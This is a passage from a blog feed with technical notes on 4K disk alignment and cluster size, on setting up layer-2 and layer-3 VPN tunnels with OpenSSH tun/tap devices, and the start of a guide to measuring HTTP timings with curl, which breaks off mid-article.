&lt;h2 id=&quot;4kdui-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;#4k-duiqi&quot;&gt;4K对齐&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;1、什么是4K对齐？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;早期的硬盘，一个扇区的大小是512个字节，后来随着磁盘容量的不断增加和读写效率不断提升，国际硬盘协会制定了全新标准，将每个扇区的大小调整为4096个字节，也就是4KB，这种扇区又叫4K扇区。4K对齐指的就是对磁盘分区时，让分区的起始扇区位于某一个4K扇区的起始位置。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2、为什么会有4K不对齐？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当硬盘扇区变成4K扇区之后，为了兼容以前的512扇区，为了方便技术人员的习惯思维，为了保证靠512扇区识别的旧操作系统和应用软件不会出错，厂商把一个4K扇区虚拟成8个512扇区，以便和以前的单位统一。这样一来，从这8个扇区中的第一个扇区开始的分区，就是4K对齐了的，从其他7个扇区开始的分区，就是4K没有对齐的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3、什么是簇（cù）和簇大小？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Windows系统为了提高数据读写速度，对分区空间按簇（簇来自英文单词集群&lt;code&gt;cluster&lt;&#x2F;code&gt;）划分。对于大于2GB的NTFS格式的分区来说，Windows默认的簇大小是4096字节，也就是以4KB作为一个单位，所有的文件都是对簇的独占。比如说一个10KB的文件，放在簇大小为4K的分区里，就会占掉3个簇，所以实际占用空间为12KB，如果一个文件夹里有100个10KB的文件，他们的实际大小是1000KB，但是占用空间却是1200KB。但是如果把这些文件放到簇大小为8K的分区里，每个10KB的文件就会占用2个簇，也就是16KB，100个文件实际大小仍是1000KB，但占用空间却是1600KB。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这就是&lt;strong&gt;4K文件系统！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;簇也称为cluster。一个簇由相邻的多个扇区组成。文件在磁盘中存储是以簇为单位，比如文件系统可以把4K字节作为一个簇，所以文件在这样的文件系统中最小的占用空间就是4K。文件在硬盘上存储的簇是不连续的，内核为了能索引到这些簇，于是就有了inode。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;4、簇大小有什么影响？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过上一问，我们已经看出，&lt;code&gt;簇较小时空间利用率较高，较大时会浪费更多空间&lt;&#x2F;code&gt;，那么为什么不把簇分的更小一些呢？这是因为Windows在读取数据时是以簇为单位进行检索的，识别到空白的簇会直接跳过，如果簇大小为8K，识别1MB就是128个簇，如果簇大小为4K，同样识别1MB就是256个簇，如此一来就会在空白的簇上浪费掉更多的时间。也就是说，簇越小，空间利用率越高，但读取速度也就越慢；反之，簇越大，空间利用率就越低，但读取速度也就越快。NTFS分区的windows默认的簇大小一般是4KB。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5、簇大小和4K对齐有什么关系？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;4K对齐分区提高硬盘的读写速度，4K文件系统提高文件系统的性能，两者在不同层面发挥作用。&lt;&#x2F;p&gt;
&lt;p&gt;Windows系统读写是按簇，硬盘读写则是按扇区，如果一个分区的起始扇区为一个4K扇区的第2个虚拟扇区，也就是4K没有对齐，那么对于簇大小为4K的分区，每一个簇都会被割裂在两个不同的4K扇区里，那么当Windows操作一个完整的4K簇的文件时，磁头就要对两个4K扇区进行操作，当存在大量4K左右小文件的时候，操作速度就会较低。而正确的4K对齐就会提升读写速度，尤其是小文件的读写速度。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;6、固态硬盘为什么要4K对齐？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;固态硬盘众所周知并无扇区的概念，为什么也要4K对齐呢？&lt;&#x2F;p&gt;
&lt;p&gt;因为固态硬盘所使用的NAND颗粒的最小单位是页（Page），页的大小一般也是4KB，所以固态硬盘的页，等同于机械硬盘的扇区。而且&lt;strong&gt;由于闪存颗粒的特性所致，4K对齐对其速度影响远大于机械硬盘，所以对于固态硬盘，我们更应该进行4K对齐。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;&quot;&gt;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to setup SSH tuntap tunnel</title>
        <published>2024-12-29T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/how-to-setup-ssh-tuntap-tunnel/"/>
        <id>https://vercel.juzhong.asia/obsidian/how-to-setup-ssh-tuntap-tunnel/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/how-to-setup-ssh-tuntap-tunnel/">&lt;h1 id=&quot;how-to-setup-ssh-tuntap-tunnel&quot;&gt;How to setup SSH tuntap tunnel&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;prerequesites&quot;&gt;Prerequesites&lt;&#x2F;h2&gt;
&lt;p&gt;Add or uncomment this line in &#x2F;etc&#x2F;ssh&#x2F;sshd_config of remote machine&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;PermitTunnel yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;remote-machine-setup&quot;&gt;Remote machine setup&lt;&#x2F;h2&gt;
&lt;p&gt;Setup TUN virtual interface&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip tuntap add tun[remote interface number] mode tun
# ip link set dev tun[remote interface number] up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Set address for interface.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip address add [remote address] peer [local address] dev tun[remote interface number]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;[remote address] – IP address with prefix that will be used for connection on remote machine, [local address] – that will be used for connection on local machine.&lt;&#x2F;p&gt;
&lt;p&gt;Setup routing&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip route add [address network] via [remote address]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;local-machine-setup&quot;&gt;Local machine setup&lt;&#x2F;h2&gt;
&lt;p&gt;Setup TUN virtual interface&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip tuntap add tun[local interface number] mode tun
# ip link set dev tun[local interface number] up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Set address for interface&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip address add [local address] peer [remote address] dev tun[remote interface number]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Setup routing&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ip route add [address network] via [local address]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;starting-tunnel&quot;&gt;Starting tunnel&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;ssh -v -N -f -p [remote machine port] \
-o Tunnel=point-to-point -o ServerAliveInterval=10 -o TCPKeepAlive=yes \
-w [local machine interface number]:[remote machine interface number] \
[remote machine IP&amp;#x2F;domain]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>通过OpenSSH建立二层和三层加密隧道</title>
        <published>2024-12-29T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/通过openssh建立二层和三层加密隧道/"/>
        <id>https://vercel.juzhong.asia/obsidian/通过openssh建立二层和三层加密隧道/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/通过openssh建立二层和三层加密隧道/">&lt;h1 id=&quot;tong-guo-opensshjian-li-er-ceng-he-san-ceng-jia-mi-sui-dao&quot;&gt;通过OpenSSH建立二层和三层加密隧道&lt;&#x2F;h1&gt;
&lt;p&gt;OpenSSH 可以使用tun&#x2F;tap设备来创建一个加密隧道，SSH隧道类似mode TCP
模式下的OpenVPN，对于有需求快速设置一个基于IP的VPN
来说非常方便。使用SSH隧道的优点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;不需要安装和配置额外的软件&lt;&#x2F;li&gt;
&lt;li&gt;使用SSH认证并自带加密，不需要使其它VPN软件一样配置共享密钥或者证书&lt;&#x2F;li&gt;
&lt;li&gt;兼容性强，可以建立二层隧道或三层隧道，所有3&#x2F;4层协议如：ICMP
、TCP&#x2F;UDP
等都可支持&lt;&#x2F;li&gt;
&lt;li&gt;配置过程简单&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;当然也有缺点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;基于TCP协议，其传输效率较低&lt;&#x2F;li&gt;
&lt;li&gt;隧道依赖于单个TCP连接，容易中断或假死&lt;&#x2F;li&gt;
&lt;li&gt;需要ROOT权限&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这里还要说明一下二层和三层的区别：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;layer 2 : 交换单元是帧，只识别MAC地址，只有交换功能，相关协议：Ethernet、VLAN、STP、PPP、FDDI、ARP（OSI模型）、MPLS（介于2层3层之间）等，在Linux
中是虚拟点对点设备，显示为tap&lt;&#x2F;li&gt;
&lt;li&gt;layer 3 : 交换单元是包，能识别MAC地址和IP，有交换和路由
功能，相关协议：IP、ICMP、IGMP、IPsec
等，在Linux中是虚拟以太网设备，显示tun&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在Linux中tun&#x2F;tap都可以设置IP，只是模拟的工作层有区别，tun是模拟三层网络设备，收发的是IP包，无法处理以太网数据帧。tap模拟的是二层设备，收发的是以为网数据帧，更接近物理网卡，可以和物理网卡通过网桥绑定。我们日常用的wmware虚拟机
中的nat网络，对应的就是tun，桥接网络对应的就是tap。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-ssh-serverduan-pei-zhi&quot;&gt;一、ssh server端配置&lt;&#x2F;h2&gt;
&lt;p&gt;首先要使用ssh的二层和三层隧道，尽量保证系统差别不要太大，我这里两边都是oracle linux 8，SSH版本更新到最新。server端需要允许root登录和隧道，编辑&#x2F;etc&#x2F;ssh&#x2F;sshd_config：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;PermitRootLogin yes
PermitTunnel yes
#建议添加
TCPKeepAlive yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;PermitTunnel yes代表允许point-to-point (layer 3)和ethernet (layer 2)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-san-ceng-sui-dao-pei-zhi&quot;&gt;二、三层隧道配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-jian-li-san-ceng-sui-dao&quot;&gt;2.1 建立三层隧道&lt;&#x2F;h3&gt;
&lt;p&gt;在client端执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ssh -w any:any  root@[server_ip]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果客户端和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cvm&#x2F;?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;端没有其它的tun设备，就会在客户端和服务器端各生成一个名为tun0设备，指定any可以自动分配可用的设备。查看设备：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos8 ~]# ip addr
3: tun0: &amp;lt;POINTOPOINT,MULTICAST,NOARP&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 500
    link&amp;#x2F;none
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到有个tun0 &amp;lt;POINTOPOINT,MULTICAST,NOARP&amp;gt;，这个设备是未激活的状态，如果用ifconfig命令查看，需要加上-a参数才能看到。&lt;&#x2F;p&gt;
&lt;p&gt;为安全起见，建议使用以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ssh -NTCf -w 5:5 root@[server_ip]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;“-N”：不执行远程命令&lt;&#x2F;li&gt;
&lt;li&gt;“-T”：不分配终端&lt;&#x2F;li&gt;
&lt;li&gt;“-C”：压缩传输的流量&lt;&#x2F;li&gt;
&lt;li&gt;“-f”：在客户端后台运行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;执行完该命令client和server各自会创建一个tun5的点对点设备，下一步就是需要激活设备并分配IP。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-fen-pei-ipbing-ji-huo-sui-dao&quot;&gt;2.2 分配IP并激活隧道&lt;&#x2F;h3&gt;
&lt;p&gt;分配IP不要与服务器和客户端网段有冲突，这里假设：&lt;&#x2F;p&gt;
&lt;p&gt;客户端IP：10.0.0.2 tun5 服务器IP：10.0.0.1 tun5&lt;&#x2F;p&gt;
&lt;p&gt;服务器激活点对点设备并分配IP和路由：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip link set tun5 up
ip addr add 10.0.0.1&amp;#x2F;32 peer 10.0.0.2 dev tun5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端同理：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip link set tun5 up
ip addr add 10.0.0.2&amp;#x2F;32 peer 10.0.0.1 dev tun5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时隧道已经建立成功，此时用查看一下状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos8 ~]# ip addr
14: tun5: &amp;lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link&amp;#x2F;none
    inet 10.0.0.1 peer 10.0.0.2&amp;#x2F;32 scope global tun5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到比之前多了“UP,LOWER_UP”，说明已经激活。正常情况下客户端和服务器已经可以相互ping。&lt;&#x2F;p&gt;
&lt;p&gt;客户端用一条命令也能搞定：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ssh \
  -o PermitLocalCommand=yes \
  -o LocalCommand=&amp;quot;ip link set tun5 up &amp;amp;&amp;amp; ip addr add 10.0.0.2&amp;#x2F;32 peer 10.0.0.1 dev tun5 &amp;quot; \
  -o TCPKeepAlive=yes \
  -w 5:5  root@[server_ip] \
  &amp;#x27;ip link set tun5 up &amp;amp;&amp;amp; ip addr add 10.0.0.1&amp;#x2F;32 peer 10.0.0.2 dev tun5&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-3-tian-jia-qi-ta-wang-duan-de-lu-you&quot;&gt;2.3 添加其它网段的路由&lt;&#x2F;h3&gt;
&lt;p&gt;如果服务器端有其它内网段，需要继续添加客户端路由才能ping通，例如，客户端想与服务器端网段10.0.12.0&#x2F;24互通，需在客户端执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip route add  10.0.12.0&amp;#x2F;24 dev tun5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按需添加即可，更改路由是高风险操作，需要格外小心，同时也要确保ssh连接不要中断。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-er-ceng-sui-dao-pei-zhi&quot;&gt;三、二层隧道配置&lt;&#x2F;h2&gt;
&lt;p&gt;由于linux中允许为tap设备设置ip，所以二层隧道和三层隧道也可以完全一样的进行配置。区别是tap设备可以和物理网卡进行绑定，也就是桥接，同时由于工作在二层，允许Arp通过，能支持STP生成树、PPP等协议。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-jian-li-er-ceng-sui-dao&quot;&gt;3.1 建立二层隧道&lt;&#x2F;h3&gt;
&lt;p&gt;在客户端执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ssh  -o Tunnel=ethernet -w 6:6    root@[server_ip]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里参数 -o 需要在 -w 前面，查看一下客户端和服务器的网卡：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos8 ~]# ip addr
20: tap6: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在ip命令中 tap6: &amp;lt;BROADCAST,MULTICAST&amp;gt;，和物理网卡显示的一样，说明模拟的是物理网卡。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-chuang-jian-bing-pei-zhi-wang-qiao&quot;&gt;3.2 创建并配置网桥&lt;&#x2F;h3&gt;
&lt;p&gt;二层可以进行网卡桥接，桥接可以多块网卡，也可以一块网卡，这里测试为了省事只用一块网卡，创建网桥有三种工具：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用bridge-utils中的brctl命令&lt;&#x2F;li&gt;
&lt;li&gt;使用oracle linux 8 系列自带的nmcli&lt;&#x2F;li&gt;
&lt;li&gt;使用ip命令&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;建议用ip命令建立：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip link add br0 type bridge
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将tap6加入网桥：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip link set tap6 master br0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置服务器端网桥IP信息并启动网桥：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ip address add 10.0.0.1&amp;#x2F;32 dev br0
ip link set tap6 up
ip link set br0 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端流程一样，只是客户端的ip是10.0.0.2&lt;&#x2F;p&gt;
&lt;p&gt;在客户端测试ARP包能不能通过：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@oracle8 ~]# arping -I br0 10.0.0.1
ARPING 10.0.0.1 from 10.0.0.2 br0
Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24]  193.222ms
Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24]  191.903ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果是三层隧道，就无法使用arping。&lt;&#x2F;p&gt;
&lt;p&gt;看似很多内容，其实使用很简单，OpenSSH套件功能真强大。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参考文章&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fhelp.ubuntu.com%2Fcommunity%2FSSH_VPN&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;help.ubuntu.com&#x2F;community&#x2F;SSH_VPN&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.cyberciti.biz%2Ffaq%2Fcentos-8-add-network-bridge-br0-with-nmcli-command%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;centos-8-add-network-bridge-br0-with-nmcli-command&#x2F;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fgobomb.github.io%2Fpost%2Fbuild-l2-l3-vpn-by-openssh%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;gobomb.github.io&#x2F;post&#x2F;build-l2-l3-vpn-by-openssh&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-guo-curlming-ling-fen-xi-httpxing-neng&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fcurl-http-timing.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;通过curl命令分析http性能&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;6月 1日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;通常HTTP的性能分析是通过浏览器的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;coding?from_column=20065&amp;amp;from=20065&quot;&gt;开发者工具&lt;&#x2F;a&gt;进行查看，但这种方式只能通过图形页面进行查看。如果想做&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;apm?from_column=20065&amp;amp;from=20065&quot;&gt;性能监控&lt;&#x2F;a&gt;或者在命令行下分析，可以通过curl命令来统计各阶段的耗时。我们先来看看一个HTTP请求的过程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openssh-tunnels&#x2F;http-request-lifecycle.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;(图片来自cloudflare)&lt;&#x2F;p&gt;
&lt;p&gt;每次http请求经过这些过程： 客户端发起请求--&amp;gt;DNS
解析--&amp;gt;TCP连接--&amp;gt;SSL等协议握手--&amp;gt;服务器处理--&amp;gt;内容传输--&amp;gt;完成&lt;&#x2F;p&gt;
&lt;p&gt;查看curl 命令的手册，curl命令支持以下阶段的时间统计：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;time_namelookup : 从请求开始到DNS解析完成的耗时&lt;&#x2F;li&gt;
&lt;li&gt;time_connect : 从请求开始到TCP三次握手完成耗时&lt;&#x2F;li&gt;
&lt;li&gt;time_appconnect : 从请求开始到TLS握手完成的耗时&lt;&#x2F;li&gt;
&lt;li&gt;time_pretransfer : 从请求开始到向服务器发送第一个GET请求开始之前的耗时&lt;&#x2F;li&gt;
&lt;li&gt;time_redirect : 重定向时间，包括到内容传输前的重定向的DNS解析、TCP连接、内容传输等时间&lt;&#x2F;li&gt;
&lt;li&gt;time_starttransfer : 从请求开始到内容传输前的时间&lt;&#x2F;li&gt;
&lt;li&gt;time_total : 从请求开始到完成的总耗时&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们常关注的HTTP性能指标有：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;DNS请求耗时 ： 域名的NS及本地使用DNS的解析速度&lt;&#x2F;li&gt;
&lt;li&gt;TCP建立耗时 ： 服务器网络层面的速度&lt;&#x2F;li&gt;
&lt;li&gt;SSL握手耗时 ： 服务器处理HTTPS等协议的速度&lt;&#x2F;li&gt;
&lt;li&gt;服务器处理请求时间 ： 服务器处理HTTP请求的速度&lt;&#x2F;li&gt;
&lt;li&gt;TTFB ： 服务器从接收请求到开始到收到第一个字节的耗时&lt;&#x2F;li&gt;
&lt;li&gt;服务器响应耗时 ：服务器响应第一个字节到全部传输完成耗时&lt;&#x2F;li&gt;
&lt;li&gt;请求完成总耗时&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意： 如果想分析HTTP性能的瓶颈，不建议使用带有重定向的请求进行分析，重定向会导致建立多次TCP连接或多次HTTP请求，多次请求的数据混在一起，数据不够直观，因此 time_redirect 对实际分析意义不大。&lt;&#x2F;p&gt;
&lt;p&gt;其中的运算关系：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;DNS请求耗时 = time_namelookup&lt;&#x2F;li&gt;
&lt;li&gt;TCP三次握手耗时 = time_connect - time_namelookup&lt;&#x2F;li&gt;
&lt;li&gt;SSL握手耗时 = time_appconnect - time_connect&lt;&#x2F;li&gt;
&lt;li&gt;服务器处理请求耗时 = time_starttransfer - time_pretransfer&lt;&#x2F;li&gt;
&lt;li&gt;TTFB耗时 = time_starttransfer - time_appconnect&lt;&#x2F;li&gt;
&lt;li&gt;服务器传输耗时 = time_total - time_starttransfer&lt;&#x2F;li&gt;
&lt;li&gt;总耗时 = time_total&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;用curl命令统计以上时间：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;curl -w &amp;#x27;\ntime_namelookup=%{time_namelookup}\ntime_connect=%{time_connect}\ntime_appconnect=%{time_appconnect}\ntime_redirect=%{time_redirect}\ntime_pretransfer=%{time_pretransfer}\ntime_starttransfer=%{time_starttransfer}\ntime_total=%{time_total}\n\n&amp;#x27; -o &amp;#x2F;dev&amp;#x2F;null -s -L &amp;#x27;https:&amp;#x2F;&amp;#x2F;www.nixops.me&amp;#x2F;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上内容不够直观，curl -w参数支持模板，新建一个文件timing.txt,内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;time_namelookup=%{time_namelookup}\n
time_connect=%{time_connect}\n
time_appconnect=%{time_appconnect}\n
time_redirect=%{time_redirect}\n
time_pretransfer=%{time_pretransfer}\n
time_starttransfer=%{time_starttransfer}\n
time_total=%{time_total}\n
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用模板在执行一次：&lt;&#x2F;p&gt;
